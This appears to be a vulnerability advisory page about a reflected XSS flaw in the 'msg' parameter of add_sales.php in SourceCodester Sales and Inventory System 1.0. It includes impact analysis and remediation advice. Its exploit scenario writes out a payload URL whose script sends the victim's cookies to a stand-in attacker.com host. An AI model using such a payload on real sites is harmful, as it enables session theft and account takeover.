EUVD-2026-17098
GHSA-pj9c-w3gf-2xmg
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Although CVSS metrics are unavailable, the real-world risk is moderate to high based on available signals. Reflected XSS exploits require user interaction (victims must click a malicious link), which typically translates to medium attack complexity and medium impact in CVSS terms. The presence of publicly available exploit code significantly reduces the barrier to exploitation and indicates this vulnerability is discoverable and actionable. No CVSS or EPSS data is provided, and KEV status is unknown, suggesting this may be a newer or less widely tracked disclosure. The practical risk depends on deployment scope: systems exposed to untrusted users face higher risk than internal-only instances. Automated vulnerability scanners can readily detect reflected XSS patterns, and exploitation does not require authentication or elevated privileges. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL such as http://vulnerable-site.com/add_sales.php?msg=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> and sends it to a logged-in user via email or social engineering. When the victim clicks the link, the JavaScript executes in their browser session, exfiltrating session cookies to the attacker's server, enabling account takeover. Publicly available exploit code from GitHub demonstrates this exact attack pattern. |
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Alert meAnalysisAIv1 – Mar 30, 2026
Reflected XSS in SourceCodester Sales and Inventory System 1.0 allows remote attackers to inject arbitrary JavaScript or HTML through the msg parameter in add_sales.php, enabling session hijacking, credential theft, or malware distribution via crafted URLs. Publicly available exploit code exists.
RemediationAI
Apply input validation and output encoding immediately. For the 'msg' parameter in add_sales.php, implement proper HTML entity encoding (using htmlspecialchars() in PHP with ENT_QUOTES flag) or context-appropriate escaping before rendering user input in HTML responses. If a patched version of SourceCodester Sales and Inventory System 1.0 is available, upgrade to it; consult the vendor or project repository (typically hosted on GitHub or similar platforms) for available updates. As a temporary workaround, implement a Content Security Policy (CSP) header to restrict script execution from inline sources. For detailed exploit analysis and proof-of-concept reference, see https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-AddSales-msg.md.
Affected VersionsENISA
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Technical ContextAI · show details
The vulnerability is a Reflected Cross-Site Scripting (XSS) flaw in a PHP-based web application. The add_sales.php endpoint accepts user input via the 'msg' parameter but fails to apply proper output encoding or input sanitization before rendering the data in HTTP responses. This allows attackers to inject malicious script tags or event handlers that execute in the victim's browser context. The root cause falls under improper neutralization of input during web page generation (CWE classification for XSS variants). The affected product is a Sales and Inventory System written in PHP, commonly deployed in small business environments for managing sales transactions and stock levels.
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Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the add_sales.php file via the "msg" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
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